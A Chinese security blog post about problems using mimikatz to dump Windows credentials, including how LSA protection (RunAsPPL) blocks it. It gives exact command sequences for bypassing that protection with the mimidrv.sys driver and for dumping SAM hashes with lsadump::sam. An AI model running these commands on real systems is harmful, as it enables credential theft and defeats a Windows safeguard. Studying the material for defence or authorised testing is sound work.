前言
最近在一些环境中使用mimikatz读取密码出现了些问题,简单记录下。
问题分类
1、权限
这种情况就属于权限不到位,虽然是管理员权限但是需要右键管理员权限启动cmd
权限到位就没问题。
2、 LSA 保护 (RunAsPPL)
在 Windows 上防止凭据盗窃时,启用 LSA 保护应该是最简单的方式,配置起来简单又方便只需要在注册表中添加个一个值然后重新启动下即可。
启用 LSA 保护 (RunAsPPL):
(1)打开注册表编辑器:regedit.exe。 (2)打开”HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa”。 (3)添加DWORD值RunAsPPL并将其设置为1并且重启。
现在你已经成功开启了LAS保护,mimikatz已经不能读取凭证信息。
mimikatzprivilege::debug中的命令成功启用;SeDebugPrivilege,但是命令sekurlsa::logonpasswords失败并出现错误代码0x00000005。要想知道错误代码0x00000005的原因我们可以去查看源码。
HANDLE hData = NULL;
DWORD pid;
DWORD processRights = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION;
kull_m_process_getProcessIdForName(L"lsass.exe", &pid);
hData = OpenProcess(processRights, FALSE, pid);
if (hData && hData != INVALID_HANDLE_VALUE) {
// if OpenProcess OK
} else {
PRINT_ERROR_AUTO(L"Handle on memory");
}
这段代码中它首先获取被调用进程的 PID,lsass.exe然后尝试使用标志和调用Win32函数来打开它(即获取进程句柄),现在他的访问被拒绝了所以我们的LSA保护成功打开了,成功阻止mimikatz读取凭证。
绕过 RunAsPPL:
1、mimikatz驱动程序 它可以阻止mimikatz,然而mimikatz也可以通过自身工具进行绕过,使用数字签名的驱动程序来删除内核中 Process 对象的保护标志,但是需要文件mimidrv.sys必须位于当前文件夹中。
(1)、文件mimidrv.sys必须位于当前文件夹中。
(2)、
!+ !processprotect /process:lsass.exe /remove privilege::debug sekurlsa::logonpasswords
成功读取凭证。2、SAM HKLMSAM:包含用户密码的NTLMv2哈希值 HKLMsecurity:包含缓存的域记录LSA secrets/LSA密钥 HKLMsystem-aka SYSKEY:包含可用于加密LSA secret和SAM数据库的密钥 SAM(安全账户管理器),SAM用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄露,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值。mimikatz 运行 lsadump :: sam 从磁盘上的SAM读取凭据,可成功pypass LSA Protection。
privilege::debug token::whoami token::elevate lsadump::sam
成果读取。
2、 特殊情况
没有LSA保护也不是权限问题。
报错key import 解决起来也很简单直接用老版本mimikatz(2.1.1)就可以了,至于原因暂时不清楚。
简单记录下几个简单的问题,主要是怕忘。
E
N
D
本文作者:TideSec
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/190728.html
cesfe 1个月前0
好的,谢谢昶之琴 1个月前0
这个安装地址失效了,我在网上找了一个:https://xiazai.zol.com.cn/detail/35/344340.shtml 如果还是不行的话就需要您自己去网上找找了cesfe 1个月前0
帆软部署 ,访问的地址访问不到昶之琴 2年前0
我以为只要提交就行了好想告诉你 2年前0
花巨资看一下